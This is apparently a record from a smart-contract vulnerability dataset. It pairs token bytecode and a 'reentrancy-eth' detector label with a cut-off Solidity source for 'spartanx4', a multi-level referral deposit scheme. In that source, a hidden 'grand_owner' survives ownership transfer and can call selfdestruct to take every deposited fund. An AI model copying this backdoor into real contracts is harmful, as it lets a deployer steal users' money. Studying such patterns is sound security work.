ffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fce120cc145688f1b02e15f429b594ca01efd8294fd1e9498d0018b03fa581df64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,703 |
0x7437c74eec06b7ff9a03f6afd87ab61a72cc8ed0
|
pragma solidity 0.6.4;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _governor;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_governor = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _governor;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_governor == _msgSender(), "Governance: caller is not the Governor");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_governor, address(0));
_governor = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Governance: new Governor is the zero address");
emit OwnershipTransferred(_governor, newOwner);
_governor = newOwner;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract Destructible {
address payable public grand_owner;
event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner);
constructor() public {
grand_owner = msg.sender; //even after transfering ownership, the deployer will still be the grandowner
}
function transferGrandOwnership(address payable _to) external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
grand_owner = _to;
}
function destruct() external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
selfdestruct(grand_owner);
}
}
contract spartanx4 is Ownable, Destructible, Pausable {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
mapping(address => User) public users;
uint256[] public cycles;
uint8[] public ref_bonuses;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_withdraw;
uint256 public total_participants;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor() public {
ref_bonuses.push(20);
ref_bonuses.push(15);
ref_bonuses.push(10);
ref_bonuses.push(5);
ref_bonuses.push(3);
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
cycles.push(5 ether);
cycles.push(20 ether);
cycles.push(50 ether);
cycles.push(100 ether);
}
receive() payable external whenNotPaused {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) public {
if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner(), "No upline, you need an upline");
if(users[_addr].deposit_time == 0) { total_participants += 1; }
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 0.1 ether && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 24 hours < block.timestamp) {
_drawPool();
}
payable(owner()).transfer(_amount / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount / 20;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) { //if it meets the same upline again, break out of the loop
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++; // increase pool_cycle by 1
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external whenNotPaused {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external whenNotPaused {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "users payouts completed");
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout); //this is matching bonus to referer
}
// Direct Bonus payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
